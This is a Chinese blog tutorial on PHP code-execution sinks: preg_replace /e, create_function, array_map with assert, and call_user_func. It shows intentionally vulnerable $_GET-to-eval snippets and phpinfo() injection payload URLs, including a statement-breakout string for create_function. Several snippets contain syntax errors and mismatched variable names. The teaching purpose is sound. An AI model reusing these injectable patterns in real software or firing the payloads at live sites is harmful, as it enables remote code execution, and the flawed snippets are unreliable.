从实战理解代码执行漏洞函数(php)

1、pre_replace()

适用范围:php<5.5

官方解释:

mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit] )

在 subject 中搜索 pattern 模式的匹配项并替换为 replacement。如果指定了 limit,则仅替换 limit 个匹配,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换。

我脑子不好使,我不理解官方解释

preg_replace( x,y,z)一般我们只用三个参数,就是x在z中匹配到就用替换。例如pre_replace('w','eee','wo')那么输出eeeo,假如我们能控制中间y的参数,那就可能有好戏了——————-

下面用代码理解:

   <?php

    $str = $_GET['eee'];

    $data = "<data>$str<data>";

     echo @ preg_replace('<data>(.*)<data>/e','\\1',$data);

    ;?>

首先利用前提:1、z中匹配到x   2、有/e标识,才能执行y。   就是z中匹配到x,执行y这是顺序。

上面代码eee是我们通过get方式的到的用户输入数据。然后定义$data为data标签,中间是我们传入的参数。<data>(.*)<data>中间是匹配规则,这个标识匹配所有,所以我我们输入的被匹配到满足条件1。有个/e标识满足条件2。//1表示执行<data>(.*)<data>中间匹配的,即我们输入的

假如我们输入xxx.php?eee=phpinfo()上面代码等同于

<?php echo phpinfo() ;?>

phpMyAdmin远程代码执行漏洞(CVE-2016-5734)就属于这个函数漏洞


2、create_funtion()

范围:php<=7.2

我不李姐,为什么搞这个危险函数,这个函数用起来还比较麻烦

这个函数如果会使用特别爽,waf表示——我不李姐

这个函数目前用的还比较多······

官方解释:

string create_function(字符串 参数,字符串 代码)从创建一个匿名函数传递的参数,并返回一个唯一的名称。通常,这些参数将传递单引号分隔的字符串。使用单引号的字符串,原因是为了防止解析变量名,否则,如果使用双引号将有需要躲避的变量名

啊啊啊啊,官方想杀我,我又sb了,李姐救救我

寄了


create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。

string create_function    ( string $args   , string $code   )

string $args 变量部分

string $code 方法代码部分

还不理解?

直接上代码解释

 <?php

   $return_d = "return \$c+\$m";   //双引号用转义字符,不然php认为是变量

   $fun = create_function('$c,$m',$return_d );

    echo $fun(1,2);

?.

;?>

create_function('$c,$m',$return_d );等于function niming($c,$m){ return ($c+$b)}

结果是3,等于create_funtion()创建匿名函数,相当于python中lambda()函数,$c,$m是形参,后面$return_d是执行动作。

上代码

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload的构造:

http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

重点在于$sort_function

'"]);}用于闭合语句使phpinfo()逃逸出来执行

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

 3、array_map()

官方解释看不下qu了

上代码

<?php

function au($v)

return($v+$v);

}

$a=array(1,2,3,);

print_r(array_map('au',$a));

}

从数组$a中依次取出,按照前面定义方法处理

利用:

<?php

$fun = $_GET[’fun'];

$cmd = $_GET['cmd'];

$array[0] = $cmd;

$new_array = array_map($func,$array);

echo new_array;

?>

xxx.php?fun=assert&cmd=phpinfo()

$fun = $_GET[’fun'];

$cmd = $_GET['cmd'];

$array[0] = $cmd;

这一串代码等于

$fun = assert $array=(array(0=>'phpinfo()');

所有最终代码为assert('phpinfo()')因为数组传过来是字符串,所以assert()可以把字符串当作php代码运行

array_filter()函数相反,第一个参数为数组等,第二个才为方法

4、call_user_func()

call_user_func() — 把第一个参数作为回调函数调用

通过函数的方式回调


<?php 
function barber($type){
    echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
  ?>

返回内容如下:
you wanted a mushroom haircut, no problem

通过类名、对象的方式回调


<?php
    call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>
payload:
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()
前面是方法······

   

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值